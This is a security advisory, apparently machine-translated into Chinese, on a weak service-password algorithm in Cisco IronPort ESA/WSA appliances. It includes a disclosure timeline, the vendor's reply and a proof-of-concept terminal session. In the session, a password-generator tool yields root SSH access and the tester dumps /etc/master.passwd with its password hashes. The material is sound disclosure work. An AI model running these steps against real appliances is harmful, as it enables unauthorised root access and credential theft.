cisco ironport appliances service
1.0.0
更新了Linux
Cisco Ironport设备特权升级漏洞供应商：Cisco Product网页：http：//wwww.cisco.com受影响的版本：Cisco Ironport ESA-异步8.5.5-280 Cisco Ironport WSA WSA -8.5-280 - 异步8.3.6-0日期：22/05/2014学分：Glafkos Charalambous CVE：Cisco未分配
披露时间表：2014年5月19日：供应商通知20-05-2014：供应商响应/反馈27-08-2014：供应商修复/补丁24-01-2015：公众披露
描述：思科铁波特设备容易受到认证的“管理”特权升级。通过从GUI或CLI启用服务帐户允许管理员在设备上获得根访问，因此绕过了所有现有的“管理员”帐户限制。漏洞是由于密码生成过程中算法实现较弱，因此Cisco用于远程访问该设备以提供技术支持。
供应商的回应：正如预期的那样，这不是一个漏洞，而是安全性硬化问题。因此，我们没有分配CVE，但是我确保这是在SMA，ESA和WSA上修复的。该修复程序包括几个更改，例如在二进制中更好地保护算法，将算法本身更改为更强大，并在管理员设置通行证并启用帐户时会执行密码复杂性。
[SD]注意：需要管理凭据才能激活支持代表的访问并设置通过用来计算最终密码的传递词组。 [GC]管理用户仍然对设备的权限有限，即使使用默认密码可以完全访问root访问权限，凭据也会受到损害。
[SD] Cisco Bug ID：Cisco Bug ID：CSCSCOO96056和Cisco Bug ID CSCUO90528，通过Cisco Bug ID：CSCUO96011为ESA跟踪此问题。
技术详细信息：通过使用默认密码“ Ironport”或指定的用户登录设备，可以选择客户支持远程访问。可以在帮助和支持下找到此选项 - > GUI上的远程访问，也可以使用CLI控制台帐户“ enablediag”并发出命令服务。启用此服务需要临时用户密码，该密码应与电器序列号一起提供给Cisco TechSupport，以远程连接和对设备进行身份验证。
通过启用服务帐户，拥有临时密码和设备的序列号，攻击者可以依次获得完整的root访问，并可能损坏它，后门，等等。
POC：
root@kali:~# ssh -lenablediag 192.168.0.158
Password:
Last login: Sat Jan 24 15:47:07 2015 from 192.168.0.163
Copyright (c) 2001-2013, Cisco Systems, Inc.
AsyncOS 8.5.5 for Cisco C100V build 280
Welcome to the Cisco C100V Email Security Virtual Appliance
Available Commands:
help -- View this text.
quit -- Log out.
service -- Enable or disable access to the service system.
network -- Perform emergency configuration of the diagnostic network interface.
clearnet -- Resets configuration of the diagnostic network interface.
ssh -- Configure emergency SSH daemon on the diagnostic network interface.
clearssh -- Stop emergency SSH daemon on the diagnostic network interface.
tunnel -- Start up tech support tunnel to IronPort.
print -- Print status of the diagnostic network interface.
reboot -- Reboot the appliance.
S/N 564DDFABBD0AD5F7A2E5-2C6019F508A4
Service Access currently disabled.
ironport.example.com> service
Service Access is currently disabled. Enabling this system will allow an
IronPort Customer Support representative to remotely access your system
to assist you in solving your technical issues. Are you sure you want
to do this? [Y/N]> Y
Enter a temporary password for customer support to use. This password may
not be the same as your admin password. This password will not be able
to be used to directly access your system.
[]> cisco123
Service access has been ENABLED. Please provide your temporary password
to your IronPort Customer Support representative.
S/N 564DDFABBD0AD5F7A2E5-2C6019F508A4
Service Access currently ENABLED (0 current service logins)
ironport.example.com>
gcc -std=99 -o woofwoof woofwoof.c -lcrypto
./woofwoof
Usage: woofwoof.exe -p password -s serial
-p <password> | Cisco Service Temp Password
-s <serial> | Cisco Serial Number
-h | This Help Menu
Example: woofwoof.exe -p cisco123 -s 564DDFABBD0AD5F7A2E5-2C6019F508A4
./woofwoof -p cisco123 -s 564DDFABBD0AD5F7A2E5-2C6019
F508A4
Service Password: b213c9a4
root@kali:~# ssh -lservice 192.168.0.158
Password:
Last login: Wed Dec 17 21:15:24 2014 from 192.168.0.10
Copyright (c) 2001-2013, Cisco Systems, Inc.
AsyncOS 8.5.5 for Cisco C100V build 280
Welcome to the Cisco C100V Email Security Virtual Appliance
# uname -a
FreeBSD ironport.example.com 8.2-RELEASE FreeBSD 8.2-RELEASE #0: Fri Mar 14 08:04:05 PDT 2014 [email protected]:/usr/build/iproot/freebsd/mods/src/sys/amd64/compile/MESSAGING_GATEWAY.amd64 amd64
# cat /etc/master.passwd
# $Header: //prod/phoebe-8-5-5-br/sam/freebsd/install/dist/etc/master.passwd#1 $
root:*:0:0::0:0:Mr &:/root:/sbin/nologin
service:$1$bYeV53ke$Q7hVZA5heeb4fC1DN9dsK/:0:0::0:0:Mr &:/root:/bin/sh
enablediag:$1$VvOyFxKd$OF2Cs/W0ZTWuGTtMvT5zc/:999:999::0:0:Administrator support access control:/root:/data/bin/enablediag.sh
adminpassword:$1$aDeitl0/$BlmzKUSeRXoc4kcuGzuSP/:0:1000::0:0:Administrator Password Tool:/data/home/admin:/data/bin/adminpassword.sh
daemon:*:1:1::0:0:Owner of many system processes:/root:/sbin/nologin
operator:*:2:5::0:0:System &:/:/sbin/nologin
bin:*:3:7::0:0:Binaries Commands and Source,,,:/:/sbin/nologin
tty:*:4:65533::0:0:Tty Sandbox:/:/sbin/nologin
kmem:*:5:65533::0:0:KMem Sandbox:/:/sbin/nologin
man:*:9:9::0:0:Mister Man Pages:/usr/share/man:/sbin/nologin
sshd:*:22:22::0:0:Secure Shell Daemon:/var/empty:/sbin/nologin
nobody:*:65534:65534::0:0:Unprivileged user:/nonexistent:/sbin/nologin
support:$1$FgFVb064$SmsZv/ez7Pf4wJLp5830s/:666:666::0:0:Mr &:/root:/sbin/nologin
admin:$1$VvOyFxKd$OF2Cs/W0ZTWuGTtMvT5zc/:1000:1000::0:0:Administrator:/data/home/admin:/data/bin/cli.sh
clustercomm:*:900:1005::0:0:Cluster Communication User:/data/home/clustercomm:/data/bin/command_proxy.sh
smaduser:*:901:1007::0:0:Smad User:/data/home/smaduser:/data/bin/cli.sh
spamd:*:783:1006::0:0:CASE User:/usr/case:/sbin/nologin
pgsql:*:70:70::0:0:PostgreSQL pseudo-user:/usr/local/pgsql:/bin/sh
ldap:*:389:389::0:0:OpenLDAP Server:/nonexistent:/sbin/nologin
